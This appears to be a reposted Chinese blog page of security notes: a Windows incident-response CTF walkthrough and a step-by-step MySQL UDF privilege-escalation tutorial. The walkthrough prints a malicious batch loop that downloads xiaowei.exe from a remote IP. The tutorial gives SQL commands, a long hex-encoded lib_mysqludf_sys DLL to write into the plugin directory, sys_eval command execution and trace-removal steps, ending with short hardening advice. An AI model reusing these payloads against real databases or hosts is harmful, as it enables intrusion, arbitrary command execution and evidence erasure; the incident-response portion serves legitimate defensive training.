8
黑客使用了计划任务来定时执行某shell程序,提交此程序名字

例题1

1.审计桌面的logs日志,定位所有扫描IP,并提交扫描次数

思路

”扫描ip“指的是恶意ip

打开桌面上的logs日志,挪到kali中用命令

awk '{print $1}' access.log | sort | uniq -c | sort -nr

image-20250808042739188

排查

发现127.0.0.1——本地环回地址

​ 192.168.150.1——不是恶意ip

776462ed9fb842ecba8eaeb6e420ebf0
image-20250808045450802

恶意ip——

6331 192.168.150.67
54   192.168.150.33

06f4b896e08b4602982f3cfd27a05e7e

8c242ae5f46347d2acf0cbb5cac3b61b

image-20250808045021941

flag{6385}

2.审计相关日志,提交rdp被爆破失败次数

思路

被爆破失败次数——登陆失败事件ID——4625

eventvwr.msc打开事件查看器

搜索4625即登陆失败的次数

fb07a95254194d6887a20e5369e62c21

flag{2594}

3、审计相关日志,提交成功登录rdp的远程IP地址,多个以&连接,以从小到大顺序排序提交

登陆成功事件id4624,打开一个个查看

69f9a0123e524dc68e7fb24328eb6d02

d60be885357047858baba9ee1580df4a

6f3ac61dde5f4447b5c0d598cdf34b3d

也可以用4648加快筛选速度

事件 ID 4648 在 Windows 事件日志中代表 “使用显式凭据登录”,这意味着用户在登录时手动输入了用户名和密码,而不是通过自动登录或凭据缓存来进行身份验证。筛选 4648 事件通常是为了获取有关使用特定账户显式登录的信息,尤其是远程桌面协议 (RDP) 场景下。

flag{192.168.150.1&192.168.150.128&192.168.150.178}

4、提交黑客创建的隐藏账号

5、提交黑客创建的影子账号

直接用命令

wmic useraccount get Name

edc25efcf46c4329aca4f7b822b58dcd

  • wmic:Windows 管理工具的命令行接口,允许用户从命令行查询系统信息。

  • useraccount:指定查询的对象为用户账户。

  • get Name:获取用户账户的名称。

注册表SAM

日志分析——用4720

上述三种方法都可以找出全部用户

事件 ID 4720是专门用于记录用户账户创建 的事件。当一个新用户账户被创建时,Windows 会自动生成一个带有这个 ID 的日志条目,详细记录该账户的相关信息。

影子用户是黑客常用的持久化后门技术,利用它可以在系统中长期隐匿存在,从而规避检测并维持对系统的访问权限。对于管理员来说,检测并清理影子用户至关重要,需要借助更高级别的分析工具,例如查看注册表或分析事件日志,才能发现这些隐藏的账户。

6.提交远程shell程序的连接IP+端口,以IP:port方式提交

bc3ac1d60c6d4a83b3cc066a6d681ba0

打开注册表

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

看到
e0b1f49bb5e847c28c24c2bf0e4a5829

49efe0e35f844ee8aed96e0043fbec87

放进云沙箱

8、黑客使用了计划任务来定时执行某shell程序,提交此程序名字

打开任务计划程序,发现
d702309f17914d69b11e6264cff2bda6

点击”操作“,发现download.batf5db6a2125954f3da36248db56599cea

flag{download.bat}

我们顺着路径找过去,选中右键“编辑”打开进行分析;

C:\Windows\zh-CN

0d48c62b08b1460d91a4ced11262dbc7

简单分析一下;

这段批处理脚本(.bat 文件)是一个自动循环的任务,用于定期从特定的服务器下载一个名为 xiaowei.exe 的文件。脚本通过 Invoke-WebRequest 命令从远程 IP 地址 185.117.118.21 的指定端口 1111 上获取文件,并将其保存到本地的指定目录。

详细分析:

@echo off

隐藏命令行输出,防止命令的内容显示在控制台中,保持界面的整洁。

:loop

这是一个标签,标记了脚本循环的开始位置。goto 命令会跳转到该标签,从而形成一个循环。

echo Requesting download from 185.117.118.21:1111/xiaowei.exe...
start /b powershell -Command "Invoke-WebRequest -Uri 'http://185.117.118.21/xiaowei.exe' -OutFile 'C:\Windows\system64\systemWo\xiaowei.exe'"

​ 使用 PowerShell 的 Invoke-WebRequest 命令从远程服务器下载文件:
​ http://185.117.118.21:1111/xiaowei.exe 是文件的下载 URL。
​ C:\Windows\system64\systemWo\xiaowei.exe 是文件保存到本地的路径。
​ start /b 会在后台运行该命令,避免阻塞脚本的执行。

timeout /t 300 /nobreak >nul

设置脚本等待 300 秒(5 分钟),在此期间不会中断。>nul 表示抑制命令的输出,不显示倒计时。

goto loop
命令将脚本跳回到 :loop 标签处,重新执行下载请求,形成一个无限循环。

总结:

这个脚本定期(每 5 分钟)尝试从远程服务器 185.117.118.21 的端口 1111 下载一个名为 xiaowei.exe 的文件,并将其保存到本地的 C:\Windows\system64\systemWo\ 目录中。

例题二

windows evtx:

image-20250528202036345

提示是1.安装程序——Installer(查找)

image-20250528202159024

看到一个base64编码

cGljb0NURntFdjNudF92aTN3djNyXw==

picoCTF{Ev3nt_vi3wv3r_

3

”每次系统引导且用户登录时,计算机关闭前都会短暂出现黑色命令提示符“

image-20250528203056991

直接去搜 ”shutdown1074“

image-20250528203138308

可看到base64编码

UDF提权

一、简介

UDF(user defind function)用户自定义函数,通过添加新函数,对MySQL的功能进行扩充。调用方式与一般系统自带的函数相同,例如user(),version()等函数。

udf 文件后缀在windows与linux系统下分别为dll与so,即动态链接库文件,由C、C++编写。

二、利用条件

1、常规情况:

1.1 mysql配置文件secure_file_priv项设置为空,(如果为NULL或/tmp/等指定目录,即无法自定义udf文件导出位置,则无法利用);

1.2 CREATE权限、FILE权限(root用户默认拥有所有权限)。

2、特殊情况:

2.1 INSERT权限、UPDATE权限、DELETE权限。

查看当前数据库用户权限:
select * from mysql.user where user = substring_index(user(), '@', 1)\G;

1633921929_6163ab8936b2f33829d83

三、版本特性

udf提权操作中的一个步骤是将我们的udf文件上传到mysql的检索目录中,Windows系统下mysql各版本的检索目录有所不同:

1、 Mysql < 5.0

导出路径随意。

2、 5.0 <= Mysql < 5.1

Win2000导出路径: C:/Winnt/udf.dll

其他Windows系统导出路径均为:C:/Windows/udf.dll或C:/Windows/system32/udf.dll

3、 Mysql >= 5.1

Mysql安装目录的lib\plugin文件夹下,如果mysql安装时不选择完整安装或使用集成开发环境等情况下lib\plugin目录大概率是不存在的,需要自行创建。

四、UDF文件位置

1、sqlmap中:sqlmap\data\udf\mysql

1633922004_6163abd4f345c04a9ba4b
1633922015_6163abdfb5c3052f47939
1633922027_6163abebbdd286b05cc04

2、metaspliot中:/usr/share/metasploit-framework/data/exploits/mysql

1633922062_6163ac0eace5dc7cd913a

五、操作步骤

1、查看可导出文件位置

show variables like '%secure%';

1633922079_6163ac1f6c89604a90ace

2、查看当前数据库用户权限

select * from mysql.user where user = substring_index(user(), '@', 1)\G;

3、确认mysql安装位置

select @@basedir as basePath from dual ;
show variables like '%basedir%';

1633922176_6163ac8062872e81c9802
1633922176_6163ac8062872e81c9802

4、通过主机版本及架构确认mysql位数来选用udf文件

此处显示为Windows 64位操作系统(此处应该是32位的win server2003,不知道是不是虚拟机环境的原因显示为64位)![image]1633922195_6163ac937b24d1f2502f1

5、查看数据库版本,判断udf文件写入位置。

1633922213_6163aca54ca317f969a17

5.1 mysql大于5.1版本时:
5.1.1 查看 plugin 目录,存在lib\plugin目录且有webshell时,直接上传udf文件。

1633922248_6163acc83a6a34865fc16

5.1.2 查看 plugin 目录,存在lib\plugin目录但没有webshell时,则需要以16进制编码写入udf文件。
5.1.2.1 首先将对应版本的udf文件进行16进制编码(sqlmap中的udf文件为防止误杀默认是经过异或编码的,需先使用sqlmap自带的脚本解码)。
5.1.2.1.1 sqlmap udf文件解码
python extra/cloak/cloak.py -d -i data/udf/mysql/windows/32/lib_mysqludf_sys.dll_

1633922267_6163acdb2a7a1c1de980a
1633922433_6163ad812cf07051c4175

5.1.2.1.2 16进制编码udf文件
select hex(load_file('C:\\lib_mysqludf_sys_32.dll')) into dumpfile 'C:\\lib_mysqludf_sys_32.txt';
5.1.2.2 将16进制编码后udf文件使用dumpfile函数写入磁盘(outfile导出文件会在末尾写入新行且转义换行符,破坏二进制文件结构,dumpfile不会进行任何操作)。
select 0x4d5a900..... into dump file "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";

1633922479_6163adaf299fdd46f78e91633922541_6163aded8bf5f5786d04d

5.1.2.3 创建一个表并将二进制数据插入到十六进制编码流

如果在低版本系统环境下(win2003)或部分特殊环境使用mysql命令提示符进行提权操作,由于不同环境下的mysql命令提示符可输入字符最大长度不同(win2003为8191,win10系统为65535),无法使用dumpfile一次性写入全部16进制字符,则需要将udf文件的16进制编码字符先进行切割,再拼接写入到一个表中,最后导出到目标系统。

注意:在进行16进制数据切割时,每段字符的长度要为4的倍数,2进制转为16进制使用取四合一法,如果位数不够会在最高位补0,补0后会破坏原始二进制文件的文件结构导致利用失败,这也是很多人此方法复现失败的原因。

5.1.2.3.1 随便选择一个数据库后,创建一个表

use test;
create table udf(data longblob);

1633922589_6163ae1da10ab8ceea80b

5.1.2.3.2 insert插入第一段数据

点击查看代码
insert into udf(data) values (0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000004D477BD0092615830926158309261583005E86830B261583005E808308261583005E968307261583005E91830B2615832EE06E830A2615830926148325261583005E9C8308261583005E878308261583005E8483082615835269636809261583000000000000000000000000000000000000000000000000504500004C0103004AFE9F5A0000000000000000E00002210B010900001000000010000000600000607C0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007C83000008020000B4820000C800000000800000B402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002C7E00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000E0555058310000000000100000007000000010000000040000000000000000000000000000400000E02E7273726300000000100000008000000006000000140000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D090208B92BCF11B11CEEA24F550000560C000000220000260000A8FFFFFFFF8B4C240833C03901741656578B7C24146A0C59BE000010DCF3A566A55FB0015E5DFB77FBC38B44240C1A6A071611108BF8183218FF63DB6F1CA45FC7011E1200210883380175128B40040DF6776F0700750A1004C6000132C0C3530ABF1DF68D3C3053A454082D08FF30FF15FFF6EE776C885985C075085614C601011BC8568D71018A11FD6FDFFE4184D275F98B54142BCE890A32558BEC8B4D0C833902B7D860BF5374148B7D10915C5453EB4CBF9DBDDF8B417D740F1B707C1BEBE5836004DBB1FFB7001A0C8B48048B008D4401025072A0594C08DFC8D7B5891678113006A44CEB6C57BEB7B2B85F5E5DA30421740833DBB63FF6A8591353568B742410D878534602DB85DB5BB6460851C78D5C4257E8240B75EEEEBFE01400C604070008FF70041E0553B1DB1B921A22C418535720030054090F09B7086A995B0F98599954CF2D343713B8F4540B1EDEB60D818403552251519D35DFFED6FEDF576800F762D66A018945FC068BF08B4560DD7FF70CC606004533FF595939387471683CC071C6FEDFDA9C12260C3BC7745B506A04FF75FC149073E1EDD7A9FD48533AFC8D48911040B963DBFF2BC18BD88D043B505630F8268C5330D8AD8DBD5F03FE570E940DE57DF8463FE6364C2066BA5B1810A4803E0059169EB0FF741A8BC6C64437FF00594D1489C906987BEBD86F183E5F205EC9C3EED7B235DCBAF37D574708C45030087BDBDACDC9C26A4078C710548D4601B9E07E614251724F0856FF31CF6BAFDD9DB694C66AFF8DC32082F63A58B0B6030D092C23005F7CC36E57036C6A081D1290AC0AA88365FC2F6C2F2C2D4592D0EB071B408F65E8C70BBFD66E42FEFF000D1FEDC25E3BFFDB17B60D08209A02F3C3E90806F58BFF56688000002D8C6D675880985608845AA3BDE0FEBB062358045485F675054DAA83260076FBB7DB4508C36F08ED09ACC704240607FF0B4C113637598D71FFCF9C0BBF77DFC9750E39056B107E3CFF7310830B01FBEEC6BB8B0910548B098F57890A23480F85D47D618CBBAD641718068B79040838071B76EDEEBB1E50EB184AA705B8E61768B0B030D8E803A83C0957C1D6BBAEB5D6A1E7E9E2573CA12F4C6A6FF777C3025EFD096A1FEE76EB3CAA10C80475ED7BEFC0C7051F281A70E027071BDFF79D5CB520BC04B81B6A5635B952EB782B7339B2E3696FF7DEFD7340393D155C741C68062809AC43DB6B85850D9E1034252316FFE666F862F154B201DC0801592CC2B1A1DB78049DDFDBF62413D90FD4FC83F80266B16F6CB0D2595BFFA0584B77783BB5783106350F8487C71996EE4CD3543BF81810897D82EFC796BE35FAC87251833F8AF36A7C398587B4F10774E9FFC8D60F7C89C5DB9BB5D955F85615441B474DED5BE38EF88A394D1003D00874B48909437AA36D020C1AD3F8EBA71C3162CC5A64442E386161FB0A58064C32FC19503F1BDF720443375BC9C20CC710FB02231FB2288B2EF28B5D081CAE0FDB9B54E433C95CFC7D2008016C2DC6C23BF15A393A4417E4D61BFE7FAFAE3BF0740583FE02752E1910D03BC1E7166EB8ED57565FD03B5EE40003937B703B67115A039614168012376C7D270A8227FEA0246420575062B30D661327002F527F8DF61AD2061153F76A037543B067BB614F34032168742E2C0D2C3CEC257FEB1B71EC5A09706A7C6FAAE05051597C64825D900EADF62FFA8A19066B8F91B6C72AE490C396EC1640E134A9FF3B246ABB41C1F17926547DBC550C0D381E33BC05BC595D382281EC2832F7869F365F212043211C895E2118891D05F78EC243143C21A2AA210C668C186C5FFBDA3806252C0620080605DD2DCDD20425002D7FFC9C8F7AB6B1F6143095562407042831D6FEDB7F0807348B85E0FCA0AA701DDBB5B395011C1920241318092B18476A565F201CB360C32C9F7B8985D8320A04DC03B557E01B243468DEDFD1F7D8D360CE2879D40A2C833D208DBDC3DA00F923685B1B300BDFAF67F534C97F23401EC25F6A4849918F144A50152E9DF458AAF8A29C10F3EB67611C7E052C37D4598FEDED8321B9273551E0F5EE3BDC0ABF03E4507F4B8417185BDB7E600BCE1CDC142CD6E288B154B609E01B14F413160A4BDB313DDCDBFFDC84676CC859D94E1E07F7D81BF076BBB7C00359485D1656B8BC18BE04A3638B6F2AF83BC673080753025073D85F60835A3BFE72F15F5E25206C6053C820CC006F35B4DD452BB84D5A346627040B85BF2B5E6E413C03C1813850E45FEFA5ECFFFB33D2B90B011C48180F94C28BC25DC33FB702BF35E34831C80FB74114AE057106C1A55B6C33578C081817761BFFFF2FF1D7487BF972098B580803D93BFB720A4283C0283BD67270CA36B5E86AE55DC38F6AFEF0CD71F7A970040B056418005083EC080DB7C670082F316C33C576F0852F06DF64A31A89B90968555DB7F081F0B2091C6B04F555972DD12C937D1350195C083B04E1C26F2724C1E81FF715E0018FEFB6532B034F230059948BE55DC3621DDB49A301CA3DAFC0FAE99525242631CCFF29343232B61058054C50AC2CB41E97AF12B60D56096B27D7616B20CFB0FBEF2AE4E03160031F73D9665B9A6C038D2BE0FAFC046BA039F13CB4FC8A0D6C120C7D0DC395C3C1619C965154147FE41F3E783124F020140BDAC40E5643B25D53EC1068F885626DF4F888C9BF4EE640BB25EEA0398466820D85C33149DB9F0A359A04EB605675F869639FC1F6448B7598751F1033F0071476E6CA20189D271CB4F6EE6FEDF4330C113BF77507BE4F59EB0B85F30A7B047EA10AC1E0100BF0CE00F7D6076C840D1E045E5F01C33F5C05646464646064686C1405766474B000003FF4C20E034B0F20185F4E6F20FFFFB7FF617267756D656E7473096C6C6F77656420287564663A206C69625F6DCCFD6DF77973716C0D5F73085F696E666F293918DFB6FF8F2076657273696F6E20302E01341F45787065F6DBDBDD637447657861076C79201A65207374723F5BDB5AFB672074791B75726171217258C00E602B7477911FD86F030B3F8672206E616D48DBB1B71F436F756C246E6F74C4636113203058B76D186D2779AF72F1483FDA4D943F2003121071051BF29D5860214707D0604D0D0B0F81CB074ED961DD9703AB17CC2708A77527ECC00FD81F0A3B034FC0A07B851F03240328C1556583A200C5889251CA22D877BDB119BF44FF000F5565A3AA00A8AA9251645455C95532AAAAFFF61D455C0410020157616974466F00FC06C07253886C654F626A07C07F6B99145669727475616C417603E0F6370D536574456E76126F6EC000BC6DBF5661726961622B4118437265F76DEB6E94546806640D47264375727222CD12F65B502A636573734914266E03E083135469636BDE6E6BB1F6B6FD5175657279500366846D616E371667EF1B00FD0144697367374CFDB7EDED6962727879436192731A4973446562756767EDEE6DAD266A686546A4556E6840B1B7B7B7643164457846707469AF46696C4A6D295B6119B41254DE64AEB0176D0DD8114990B9EDD61A0A6B409D6D70876547C25A73CD517F77555122B4ED6E591B5C537973186DEEC3C2EB2E39417373650975697CDB15DA434C7D5F687E396D5F2EDFFEDEBE5F616D7367087869740B646A753A5F666469EC4217B076260A639A5F64FD6CADB91F5F686F6F6B131459725FF802700148D15FDB9CEB0249730A330A6C21D6F0BD82539C2A64D46E640893050B130F651E6B5B7BC25F2C723456ED6D1C182FF6D69A700A035F706F522947E1DDBE6E106468756C5EB92A6BCB92BD9B1B2CA806E0B6D86E6EC57265250866112E827BDB5673749C637079082439EDCD5C6B32C06E4D0FD7ED1F5AC36F7319663A1F5F4370705831C75E3B8474BC6D343F001817FFFFFFFF3D193C1C1B161E55142D16270815270F11115F10130A070D2E17090705160C1E7FFBFFFF080A0B160918181505061B050C10060717062105110F061421110B08E4FBDFB62B22052A111D0D18532D483806000776FBDBE5080C09330A090B0C051007061612EEDFFEED0E0B34150B18160D3D0542C205121E14066930FFD8DDFF110C0E1D4D0517230D0C3224080B4506F0DE041004F03B0A6EFF2C01043808041C1C0204003E4C016DFF21FD05004AFE9F5A8FE00002210B0109080C634F7AD60C1213D616A300);
**5.1.2.3.2 update拼接剩余数据**
点击查看代码
update udf set data = concat(data,0x200E10C10A01630B02AB3362B7EE6107006003040233351EEED9C0CE34100706C02633D6EDDB7620AC22033C144002B0021C5759DD0050520143C8C8BA65B1214200A7B82F06DB5D182EB4787407EA0B900C5BFA90CDB742602E72647D610861C90E76C508FB0A00C700A1DB66BB77402E26300304301BECDB943D001A27C04F73726300EB11C0061B40731C4F78C2C2A365761F01030002ED7760497B27421BA023030000EDD8D152127C53030400000000000080FF00000000000000000000807C2408010F85B901000060BE007000108DBE00A0FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B92A0000008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE005000008B0709C0743C8B5F048D8430B472000001F35083C708FF96F0720000958A074708C074DC89F95748F2AE55FF96F472000009C07407890383C304EBE16131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAEF87200008DBE00F0FFFFBB0010000050546A045357FFD58D871702000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9AD98FFFF0000004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030001010220010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005C80000056020000E404000000000000584000003C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0A20203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0A202020203C73656375726974793E0D0A2020202020203C72657175657374656450726976696C656765733E0D0A20202020202020203C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365223E3C2F726571756573746564457865637574696F6E4C6576656C3E0D0A2020202020203C2F72657175657374656450726976696C656765733E0D0A202020203C2F73656375726974793E0D0A20203C2F7472757374496E666F3E0D0A20203C646570656E64656E63793E0D0A202020203C646570656E64656E74417373656D626C793E0D0A2020202020203C617373656D626C794964656E7469747920747970653D2277696E333222206E616D653D224D6963726F736F66742E564339302E435254222076657273696F6E3D22392E302E32313032322E38222070726F636573736F724172636869746563747572653D2278383622207075626C69634B6579546F6B656E3D2231666338623362396131653138653362223E3C2F617373656D626C794964656E746974793E0D0A202020203C2F646570656E64656E74417373656D626C793E0D0A20203C2F646570656E64656E63793E0D0A3C2F617373656D626C793E504100000000000000000000000010830000F08200000000000000000000000000001D83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004B45524E454C33322E444C4C004D5356435239302E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000006672656500000000000000004AFE9F5A0000000058840000010000001200000012000000A4830000EC8300003484000021100000A312000000100000A4120000A3120000A0120000CC110000A31200009811000086110000A31200009811000076100000A3120000431000002E1100001A110000A91000006D84000083840000A0840000BB840000C7840000DA840000EB840000F484000004850000128500001B8500002B8500003985000041850000508500005D850000658500007485000000000100020003000400050006000700080009000A000B000C000D000E000F00100011006C69625F6D7973716C7564665F7379732E646C6C006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F62696E6576616C007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F6576616C007379735F6576616C5F6465696E6974007379735F6576616C5F696E6974007379735F65786563007379735F657865635F6465696E6974007379735F657865635F696E6974007379735F676574007379735F6765745F6465696E6974007379735F6765745F696E6974007379735F736574007379735F7365745F6465696E6974007379735F7365745F696E69740000000000700000100000006D3C683E6C3E0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);

5.1.2.3.3 导出表中数据到系统磁盘

select data from udf into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";

5.1.3 查看 plugin 目录,不存在 lib\plugin目录但有webshell,可使用webshell创建lib\plugin目录。

5.1.4 查看 plugin 目录,不存在 lib\plugin目录也没有webshell,此时就要使用网传ADS文件流创建目录的方法了,上次听到这个名词还是在做upload-labs靶场的时候。

ADS文件流是NTFS文件系统为了能与Mac系统下的HFS文件系统兼容而设计出的。

经实践在命令提示符下使用ADS文件流是可以成功创建目录或者文件名的,但在独立安装的mysql数据库环境与phpstudy自带mysql环境下均创建失败,并且查阅网上各种文章也都是没有利用成功的,严重怀疑是哪位小可爱臆想出来的,但为了文章完整性还是决定写出来。

命令提示符下成功
echo 123 >D:\phpstudy\PHPTutorial\MySQL\lib::$INDEX_ALLOCATION

1633922615_6163ae3791bc8351fc661

Mysql数据库中报错:
select "123" into dumpfile "D:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION";

1633922630_6163ae46838387d24cff6

5.2 mysql小于5.1版本时:
5.2.1 有webshell时,通过webshell上传udf文件。
5.2.2 无webshell时,使用dumpfile通过16进制数据流写入udf文件。

6、创建命令执行函数

使用winhex打开udf文件,在最下方可以看到udf文件提供的函数。
1633922651_6163ae5bcc6d5d46faf58

sys_eval,执行任意系统命令,并将输出返回。

sys_exec,执行任意系统命令,并将退出码返回(无命令执行结果回显)。

create function sys_eval returns string soname 'udf.dll';

1633922668_6163ae6c916f1e39e0f2d

7、命令执行

select sys_eval("whoami");

1633922681_6163ae79263356ebdea51

六、痕迹清除

1、删除表

drop table udf;

2、删除函数

drop function sys_eval;

七、其他问题

1、ERROR 1125 (HY000): Function 'sys_eval' already exists

提示sys_eval 函数已经存在,可能已经被利用过了,尝试直接调用函数。

1633922730_6163aeaa232b29804ba9f

2、提示sys_eval 函数已经存在,但无法利用

尝试将udf提权相关的利用函数进行删除后重新创建

3、创建sys_eval 函数时提示已经存在,但利用与删除时提示 sys_eval

函数不存在(实战无法解决,漏洞复现可以)。**

原因是上一个人利用过后,数据库进行了重启。
1633922752_6163aec047c959230d024

之后重启mysqld服务器,再创建就可以了。

4、ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )

在进行udf提权时碰到这个错误一般是ufd文件位数选择错误,尝试另一个位数的udf文件。

八、修复建议

1、mysql配置文件中secure_file_priv项设置为NULL或非 mysql/lib/plugin目录。

2、数据库用户确保正确实施最小权限原则。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/907211.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ctfshow web 10

ctfshow web 10打开题目长这样,点击取消会自动下载indexs.php文件,打开查看源码 <?php$flag="";function replaceSpecialChar($strParam){$regex = "/(select|from|where|join|sleep|and|\s|unio…

【ACM出版】第四届公共管理、数字经济与互联网技术国际学术会议(ICPDI 2025)

第四届公共管理、数字经济与互联网技术国际学术会议(ICPDI 2025)定于2025年9月26-28日在中国-北京举行。【高录用快见刊、检索:审稿录用速度快】 【录用信息完整:含ISSN号,DOI,封面目录】 第四届公共管理、数字经…

SMA的射频连接器

SMA的射频连接器射频相关的器件和应用设备经常会用到各种各样的射频连接器,这里将介绍一部分常用的连接器。上图是不同型号的连接器的使用频率,这里仅供参考,因为随着工艺和科技的发展,各个型号的连接器使用频率范…

KEITHLEY 数字万用表

KEITHLEY 数字万用表KEITHLEY 数字万用表(DMM, Digital Multimeter) 都具备 电阻测量功能。 🔹 一般 KEITHLEY 的 DMM(如 DMM6500、DMM7510、2000/2100 系列 等)都有以下功能:直流电压 DCV交流电压 ACV直流电流…

什么是Elasticsearch?它与其他搜索引擎相比有什么优势?

一、Elasticsearch 是什么? Elasticsearch(简称 ES) 是一个基于 Apache Lucene 的开源分布式搜索和分析引擎,用 Java 开发,设计用于云计算中,能够实现实时数据搜索、分析和存储。它具有高扩展性、高可用性和分布…

pdf.js-2.3.0国内下载地址

https://npmmirror.com/package/pdfjs-dist?version=2.3.200

opencv学习记录2

腐蚀操作 #设置核 kernel = np.ones((3,3),np.uint8) erosion = cv2.erode(img,kernel,iterations=1)膨胀 dige_dilate = cv2.dilate(src,kernel,iterations=1)开运算,闭运算,梯度运算 膨胀-腐蚀 开运算原理: 图像开…

大数据毕业设计选题推荐-基于大数据的慢性肾病数据可视化分析系统-Spark-Hadoop-Bigdata - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

get请求图片文件转为base64编码

public static String convertImageToBase64(String url) throws IOException {String urls = url.replaceAll("192.168.10.242", "192.192.192.192");// 创建HTTP客户端try (CloseableHttpClient…

BMS与威纶通人机界面通信问题

BMS和威纶通人机界面通信 接口:485 协议:modbus-rtu 波特率:115200bps 问题:电脑模拟人机界面和BMS连接时,显示正常,使用人机界面实物和BMS连接时,无反应;排除BMS的modbus协议本身问题 排查思路: 1)确认人机…

Blazor全栈是个陷阱

前言 大家好,我是曦远~ 最近有个项目急着上线 大概就是接受一堆客户端连接上报数据,然后在界面上展示数据和简单的控制 这种场景感觉 Blazor 还挺合适的,折腾之心蠢蠢欲动 于是掏出了 Blazor 开搞 现在 .NET9 的 Bl…

大型语言模型安全实践:Copilot安全防护经验总结

本文通过实际测试案例深入分析Microsoft Copilot在企业环境中的安全风险,揭示LLM集成带来的数据泄露隐患,并提供基于零信任和RBAC的防护方案,帮助企业构建安全的人工智能应用环境。禁锢Copilot:LLM安全实践的经验教…

一些编程语言的发展史

计算机语言的发展史 C语言的命名由来 C语言,作为一种广泛使用的编程语言,其命名背后有着一段历史。C语言的前身是B语言,而B语言又是基于BCPL语言发展而来。BCPL(Basic Combined Programming Language)是由剑桥大学…

mysql生成uuid,3种实用方法详解

你知道MySQL中有几种生成唯一标识符的方法吗?作为数据库开发者,我们经常需要为数据记录生成全局唯一的ID。与自增ID相比,UUID具有全局唯一性和分布式友好的特性,特别适合微服务架构下的数据库设计。 UUID基础概念 …

vmware ubuntu共享文件夹

sudo apt update sudo apt install open-vm-tools open-vm-tools-desktop sudo vmhgfs-fuse .host:/ /mnt/hgfs -o allow_other,uid=1000,gid=1000 开机自动挂载 编辑/etc/fstab文件,添加以下行(需确保共享文件夹名称…

Oracle数据库镜像大全

Oracle数据库镜像大全Posted on 2025-09-18 15:01 lzhdim 阅读(0) 评论(0) 收藏 举报这次整理了Oracle数据库的镜像。通过网盘分享的文件:  链接: https://pan.baidu.com/s/1H5e7P6MK52lwlLAbobbP1A?pwd=fete…

深入解析:【2025年华为秋招(AI)-9月17日-第二题(200分)- 大模型Attention模块开发】(题目+思路+JavaC++Python解析+在线测试)

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

【10章】n8n+AI工作流:从入门到企业级AI应用实战

